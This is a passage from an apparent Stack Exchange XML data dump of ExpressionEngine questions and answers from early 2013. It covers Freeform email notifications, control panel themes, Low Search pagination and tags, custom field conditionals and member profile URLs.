&amp;lt;label for=&quot;email_address&quot;&amp;gt;&amp;lt;span class=&quot;form_star&quot;&amp;gt;*&amp;lt;/span&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;email_address&quot; id=&quot;email_address&quot;/&amp;gt;&#xA;        &amp;lt;label for=&quot;phone_number&quot;&amp;gt;&amp;lt;span class=&quot;form_star&quot;&amp;gt;*&amp;lt;/span&amp;gt;Phone Number&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;phone_number&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;form_button&quot; value=&quot;Quote Me&quot; title=&quot;Quote Me&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;button&quot; id=&quot;form_button&quot; class=&quot;cancel&quot; value=&quot;Cancel&quot; title=&quot;Cancel&quot;&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/exp:freeform:form}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Many of the form fields and much of the structural HTML removed from the code snippet above because they work fine - it’s the multi-email notification that isn’t working as expected.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect this to record the form entry in the Freeform console, and to send an email to lesli.schauf@gmail.com, and to also send an email to leslis@fairplay.com. But no matter whether I list the hardcoded email first in the sequence, or second, I see the form entry in the Freeform console and receive an email at lesli.schauf@gmail.com but get nothing at leslis@fairplay.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what I might be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I first tried using embedded variables, but that wasn't working either. Here's that syntax:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, from the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;originators&quot; disable=&quot;member_data|categories|member_data|pagination&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_2}&quot; limit=&quot;1&quot;}&#xA;{embed=&quot;includes/quick-quote&quot; email_addresses=&quot;lesli.schauf@gmail.com|{originator_email}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the Freeform tag from the embedded quick-quote template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;    form_name=&quot;quick_quote&quot; &#xA;    return=&quot;thanks&quot; &#xA;    admin_notify=&quot;{embed:email_addresses}&quot; &#xA;    recipient_user_template=&quot;quick_quote&quot; &#xA;    required=&quot;first_name|email_address&quot; &#xA;    form:id=&quot;quote_form&quot; &#xA;    admin_notification_template=&quot;quick_quote_notification&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user800" LastEditorUserId="-1" LastEditorDisplayName="user800" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-01T02:41:24.270" Title="Trying to use EE form fields in multiple admin_notify chain" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5664" PostTypeId="2" ParentId="5663" CreationDate="2013-01-31T21:16:32.963" Score="1" Body="&lt;p&gt;Since Freeform and Channel are both modules, and parsed at the same stage, it may be the  &lt;code&gt;{originator_email}&lt;/code&gt; custom field is not yet parsed by the Channel module. If so you won't be able to use this as a parameter on the Freeform tag. It may be easiest to work around this by passing that variable to an embed containing your Freeform tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the embed doesn't seem to be doing the job even after you confirm that your embed variable is passed correctly, then the other thing to check is the spam folder for the account where you aren't seeing the email show up.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-02-01T02:41:24.270" LastActivityDate="2013-02-01T02:41:24.270" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5665" PostTypeId="2" ParentId="5640" CreationDate="2013-01-31T22:05:19.550" Score="2" Body="&lt;p&gt;This should have been fixed in Assets 2.0.4, which we released today.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-31T22:05:19.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5667" PostTypeId="2" ParentId="5654" CreationDate="2013-01-31T23:12:30.803" Score="3" Body="&lt;p&gt;There are several control panel themes made by third-party authors. The best place to find them is on &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;Devot-ee.com&lt;/a&gt;. Just do a search for &quot;&lt;a href=&quot;http://devot-ee.com/search/results?keywords=control%20panel%20theme&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;control panel theme&lt;/a&gt;.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different themes may have slightly different installation instructions. Most of them follow these simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the directory with the theme files to /themes/cp_themes &lt;/li&gt;&#xA;&lt;li&gt;Place $config['cp_theme'] = '(theme_name)'; into your config.php file to ensure all users see the same theme&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Personally, I've found the &lt;a href=&quot;http://devot-ee.com/add-ons/nerdery&quot; rel=&quot;nofollow&quot;&gt;Nerdery&lt;/a&gt; theme to work quite well. It's very simple and minor tweaks, but looks more professional than the default (it's blue instead of pink) and works well with third-party add-ons. &lt;a href=&quot;http://devot-ee.com/add-ons/sassy-cp&quot; rel=&quot;nofollow&quot;&gt;Sassy-CP&lt;/a&gt; is another good option. It has several color ways to choose from. Both are free.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-02-01T05:31:38.190" LastActivityDate="2013-02-01T05:31:38.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5668" PostTypeId="2" ParentId="5654" CreationDate="2013-01-31T23:18:59.177" Score="0" Body="&lt;p&gt;I haven't seen/heard of Fruit or Mobile either.  You can check out Devot-ee for other CP themes at &lt;a href=&quot;http://devot-ee.com/add-ons/filter?t=cpt&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/filter?t=cpt&lt;/a&gt; Personally, I like Nerdery and Sassy CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the new theme gets put into the &quot;/themes/cp_themes&quot; folder.  So in my case, I have the following folders:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;corporate&lt;/li&gt;&#xA;&lt;li&gt;default&lt;/li&gt;&#xA;&lt;li&gt;nerdery&lt;/li&gt;&#xA;&lt;li&gt;nostalgia&lt;/li&gt;&#xA;&lt;li&gt;sassy_cp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each of the theme folders should have subfolders like css, images, etc. (could be js too).  So make sure that is the case, or else it won't work.&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-01-31T23:18:59.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5669" PostTypeId="1" AcceptedAnswerId="15502" CreationDate="2013-01-31T23:53:15.513" Score="1" ViewCount="157" Body="&lt;p&gt;Hopefully this will be easy to sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my custom channel fields is a select dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a low variable matrix field, which contains two columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Column 1 is &quot;Name&quot; &amp;amp; Column 2 is &quot;Description&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When displaying the single entry, I want it to show the name &amp;amp; description in my markup, based on what was selected in the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not quite sure how to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_custom&quot;}&#xA;&amp;lt;h5&amp;gt;Random text to display {name}&amp;lt;/h5&amp;gt;&#xA;&amp;lt;p&amp;gt;{description}&amp;lt;/p&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats my starting point, but I need to somehow make it match the Name against the name that is selected in the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or I'm open to a better way of doing it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;I've scrapped it for now. Think I was over complicating things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gone with this instead in my within my channel entries tag...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h5&amp;gt;Random Text&amp;lt;strong&amp;gt;{custom_field}&amp;lt;/strong&amp;gt;&amp;lt;/h5&amp;gt;&#xA;{if custom_field ==&quot;Option One&quot;}&amp;lt;p&amp;gt;Description One.&amp;lt;/p&amp;gt;{/if}&#xA;{if custom_field ==&quot;Option Two&quot;}&amp;lt;p&amp;gt;Description Two&amp;lt;/p&amp;gt;{/if}&#xA;{if custom_field ==&quot;Option Three&quot;}&amp;lt;p&amp;gt;Description Three&amp;lt;/p&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally I wanted a way to control the Descriptions within the CP, as opposed to hard coding it, but this works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-01T12:10:37.597" LastActivityDate="2013-11-06T22:48:38.990" Title="Matching a Low Variable matrix field with custom channel field" Tags="|matrix|custom-fields|low-variables|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5671" PostTypeId="1" AcceptedAnswerId="5759" CreationDate="2013-02-01T02:57:52.903" Score="0" ViewCount="109" Body="&lt;p&gt;I'm trying to recreate an EE 1.7 site locally under MAMP but whenever I enter the correct Fieldframe path, I get a blank page in the CP with:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Notice: unserialize() [function.unserialize]: Error at offset 85 of 99 bytes in /system/core/core.extensions.php on line 235&lt;/p&gt;&#xA;&lt;p&gt;Warning: array_merge() [function.array-merge]: Argument #2 is not an array in /system/extensions/ext.fieldframe.php on line 301&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Without the correct path the CP renders but I still get the notices above as well as these ones:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /system/core/core.extensions.php:235) in /system/core/core.functions.php on line 752&lt;/p&gt;&#xA;&lt;p&gt;Notice: unserialize() [function.unserialize]: Error at offset 85 of 99 bytes in /system/cp/cp.utilities.php on line 288&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Obviously, I'd like to get Fieldframe working properly because I need to use Matrix. ;)&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2019-06-21T22:56:43.423" Title="Problem setting Fieldframe path on EE 1.x site" Tags="|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5672" PostTypeId="1" AcceptedAnswerId="5674" CreationDate="2013-02-01T02:59:27.167" Score="0" ViewCount="653" Body="&lt;p&gt;More questions I'm afraid!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will be an easy one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a variety of customs fields, not all required. I want to show a block of code, based on whether or not that field has any information in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if i wanted to just show the field, I can just include it in my template, and if theres no information, it wont show. Fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I want to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_field has a value}&#xA;&amp;lt;div&amp;gt;&#xA;  &amp;lt;p&amp;gt;blah blah {custom_field} blah blah&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Sorry, still not quite sure.&#xA;As an example, lets say I have a custom field called &quot;twitter_handle&quot; and that users can input their twitter usernames into it. They don't have to, so it could be left blank, or they could fill it in but I'd have no way of knowing what the value would be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then wanted to show it in my template like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if twitter_handle}&#xA;&amp;lt;div class=&quot;add me&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;http://twitter.com/{twitter_handle}&quot;&amp;gt;Add me on Twitter&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that right? So i would only get the code wrapped within the if's, provided twitter_username has a value?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="542" LastEditDate="2013-02-01T03:58:15.890" LastActivityDate="2013-02-01T03:58:15.890" Title="Show a channel field based on whether it has a value or not?" Tags="|channel-entries|custom-fields|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5673" PostTypeId="1" AcceptedAnswerId="5677" CreationDate="2013-02-01T03:19:12.597" Score="0" ViewCount="907" Body="&lt;p&gt;Does Low Search support the support the &quot;P&quot; suffix of native pagination of {exp:channel:entries}?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if i have this url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.com/search/jcg4uv8e9w4n09wn0v034mnv09j34ov3459j49g/P4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it go to the corresponding page(in this case, page 4)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then how should it handle it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#paginate-base&quot; rel=&quot;nofollow&quot;&gt;paginate_base&lt;/a&gt; but when I used it, the query segment with the long string won't show in the url. The query segment is generated by &lt;a href=&quot;http://gotolow.com/&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test.com/search/P4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-02-01T05:45:15.153" LastActivityDate="2013-02-01T06:29:17.507" Title="Low Search - Pagination" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5674" PostTypeId="2" ParentId="5672" CreationDate="2013-02-01T03:43:10.190" Score="4" Body="&lt;p&gt;Yep, very simple. Just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_field}&#xA; ... field has any value ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to test if the field has a certain value, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if custom_field == &quot;foobar&quot;}&#xA; show contents&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-02-01T03:43:10.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5675" PostTypeId="1" AcceptedAnswerId="5676" CreationDate="2013-02-01T03:48:42.960" Score="7" ViewCount="209" Body="&lt;p&gt;I was pondering this today and trying to decide on the best route when it comes to storing data for an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data I am storing in an extension involves a many to many relationship with two entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When do you use the settings column in exp_extensions versus creating your own table where the data isn't serialized?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have multiple instances, but with each single instance there will be the need to update data, delete, and relate to a member group id in the &lt;strong&gt;extension settings view&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One route I thought of is to unserialize the data, update the array, and then update the db? Yet with a table, you can utilize CI's active record functionality with data that is stored nicely. I'm confused on when to use one over the other. Help?&lt;/p&gt;&#xA;" OwnerUserId="931" LastActivityDate="2013-02-01T04:02:09.930" Title="Extension Development - Use existing settings column or create a new table?" Tags="|add-on-development|extension|relationships|codeigniter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5676" PostTypeId="2" ParentId="5675" CreationDate="2013-02-01T04:02:09.930" Score="11" Body="&lt;p&gt;In this case, I think building your own settings table is the way to go for sure. Using the &lt;code&gt;settings&lt;/code&gt; column should really only be for very minor yes/no types of settings, not storing actual data. Especially when you get into supporting MSM, where you need settings for each site, it can get hairy fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, then your data is more easily searchable and readable, and you can be more selective about what you need to &lt;code&gt;SELECT&lt;/code&gt; at any given time, etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes: your own DB table.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-01T04:02:09.930" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5677" PostTypeId="2" ParentId="5673" CreationDate="2013-02-01T05:15:09.010" Score="3" Body="&lt;p&gt;The &lt;code&gt;PXX&lt;/code&gt; is the offset of the total results &amp;amp; the limit set within the tag. So if you set a &lt;code&gt;limit=20&lt;/code&gt; in the &lt;code&gt;low_search:results&lt;/code&gt; tag, page 4 would be &lt;code&gt;P80&lt;/code&gt;. &lt;code&gt;low_search:results&lt;/code&gt; acts just like the &lt;code&gt;channel:entries&lt;/code&gt; tag, so you can use any of those &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#parameters&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt; to tweak your pagination.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;   query=&quot;{segment_2}&quot; &#xA;   limit=&quot;20&quot;&#xA;   paginate=&quot;bottom&quot;&#xA;   status=&quot;not closed&quot;&#xA;   disable=&quot;categories|member_data&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-01T06:29:17.507" LastActivityDate="2013-02-01T06:29:17.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5678" PostTypeId="1" AcceptedAnswerId="7008" CreationDate="2013-02-01T05:22:35.963" Score="2" ViewCount="344" Body="&lt;p&gt;I'm using Low Search to search a business directory where individual businesses are tagged with the Solspace Tag module. The search form has a field for keywords and a drop-down list of tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I have that's working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:low_search:form &#xA;        collection=&quot;vendors&quot; &#xA;        search_mode=&quot;all&quot; &#xA;        result_page=&quot;resources/marketplace/search_results&quot;&#xA;        query=&quot;{freebie_4}&quot;&#xA;        loose_ends=&quot;yes&quot;&#xA;      }&#xA;        &amp;lt;fieldset&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search by keyword&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; value=&quot;{low_search_keywords}&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;search:vendor_services&quot;&amp;gt;I need:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;search:vendor_services&quot;&amp;gt;&#xA;              &amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;              {exp:tag:cloud&#xA;                status=&quot;open&quot;&#xA;                tag_group_name=&quot;vendor_service_tags&quot;&#xA;              }&#xA;              &amp;lt;option{if low_search_search:vendor_services == '{tag}'} selected{/if} value=&quot;{tag}&quot;&amp;gt;{tag} ({count})&amp;lt;/option&amp;gt;&#xA;              {/exp:tag:cloud}&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;            &amp;lt;button type=&quot;submit&quot;&amp;gt;GO&amp;lt;/button&amp;gt;&#xA;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;      {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm having trouble getting Low Search to search for an &lt;em&gt;exact match&lt;/em&gt; in the tags custom field. For instance, if I search for the tag &quot;farm&quot; I get results with the &quot;farmers market&quot; tag as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding an '=' sign for an exact match like &lt;code&gt;value=&quot;={tag}&quot;&lt;/code&gt; only matches if that's the only tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5264/low-search-multiple-select-problem&quot;&gt;this post&lt;/a&gt;, it sounds like it might not be possible since I'm trying to do an exact match with multiple values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Low Search? Or should I be using Solspace's Super Search instead since is has a tag parameter specifically for searching tags?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-03-05T10:55:58.403" Title="Low Search to filter Solspace Tags" Tags="|low-search|solspace-tag|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5679" PostTypeId="2" ParentId="5631" CreationDate="2013-02-01T05:34:53.750" Score="1" Body="&lt;p&gt;I wanted to expand a bit on my earlier comment but couldn't edit it so here I go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;pagination_base&lt;/code&gt; parameter allows you to specify a specific template that will be used for pagination oppose to the default behavior of EE which would be to use the current URL. A perfect example of when you might want to use this would be if you had a blog (with the url structure domain.com/blog/articles) and on the homepage you wanted to show 5 of the most recent articles. Lets say that you want to then have the viewer directed to your paginated entries if they wanted to view more articles from your blog. So in your template you would have soemthing along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Homepage template snippet --}&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot; pagination_base=&quot;blog/articles&quot;}&#xA;&amp;lt;a href=&quot;{url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{custom_field}&#xA;&#xA;{paginate}&#xA;{pagination_links}&#xA;    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {page}&#xA;            &amp;lt;li{if current_page} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/pagination_links}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would allow the user to view the 5 most recent articles then when they clicked on the pagination link the page that would be loaded would be domain.com/blog/articles/P5. For that template to actually load the next set of articles you would need to have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- blog/articles template snippet --}&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot; }&#xA;&amp;lt;a href=&quot;{url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{custom_field}&#xA;&#xA;{paginate}&#xA;{pagination_links}&#xA;    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {page}&#xA;            &amp;lt;li{if current_page} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/pagination_links}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since we are already on blog/articles we no longer need to add &lt;code&gt;pagination_base=&quot;blog/articles&lt;/code&gt; as EE will default to that since it is in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another example of when you would possibly want to use &lt;code&gt;pagination_base&lt;/code&gt; would be in the event that you are wanting to load your entries via AJAX and dont want to add the weight of loading your entire template. A while back I wrote an article on my blog about implementing an  (&lt;a href=&quot;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&quot; rel=&quot;nofollow&quot;&gt;infinite-scroll script&lt;/a&gt;) where I  used the &lt;code&gt;pagination_base&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-02-01T05:34:53.750" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5680" PostTypeId="1" AcceptedAnswerId="15144" CreationDate="2013-02-01T06:06:39.360" Score="3" ViewCount="116" Body="&lt;p&gt;After updating to Assets 2.0.4 on EE 2.5.1, I noticed that that when I view a custom Assets field, the previously defined upload directories are no longer checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some digging around the assets database tables, I noticed some odd inconsistencies: &lt;a href=&quot;http://jon.ee/image/2l0B2w2v3A3Y&quot; rel=&quot;nofollow&quot;&gt;http://jon.ee/image/2l0B2w2v3A3Y&lt;/a&gt; (Screenshot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of my images display properly on the front-end.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What could be causing the upload paths to be unchecked on custom Assets filled&lt;/li&gt;&#xA;&lt;li&gt;Should the full_path column be filled in, and is this causing the issue?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="133" LastEditorUserId="69" LastEditDate="2013-10-26T03:06:00.447" LastActivityDate="2013-10-30T12:40:04.550" Title="Full Path seems incorrect after update to Assets 2.0.4" Tags="|assets|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5681" PostTypeId="1" AcceptedAnswerId="5687" CreationDate="2013-02-01T07:03:06.067" Score="3" ViewCount="519" Body="&lt;p&gt;What's the best solution to let Members choose their own url-segment to display its profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using Solspaces «User» and «Zoo Visitor» as well as custom builded templates for profiles (like: domain.com/profile/1 … therefore no ee-templates like /member or /forum/member).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to provide a text-field, where the members can define a url-segment like «macsteve» instead of the User-ID -&gt; domain.com/profile/macsteve instead of domain.com/profile/6547&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; If I use the native user_name-field as the url-segment for the profile-page I can edit mod.channel.php to update the {profile_path}-tag to display the username instead of the member_id … but I'm struggling with profile_path in the forum-module… does someone already did these edits and may share where to edit the forum-files/-paths to get the username instead of author_id into the profile-paths?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt; Found it: mod.forum_core.php line ~4090 change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'path:member_profile' =&amp;gt; $this-&amp;gt;profile_path($row['author_id']),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'path:member_profile' =&amp;gt; $this-&amp;gt;profile_path($this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;SELECT username FROM exp_members WHERE member_id = &quot;.$row['author_id'])-&amp;gt;row('username')),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… you may need to change some other profile-path-variables in mod.forum_core.php — since we've wrote a KISS-and-table-less forum template we need to change only this one declaration.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2013-02-04T07:36:23.850" LastActivityDate="2013-02-04T07:36:23.850" Title="Custom URL Segment for Member Profile Page" Tags="|members|url|zoo-visitor|solspace-user|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
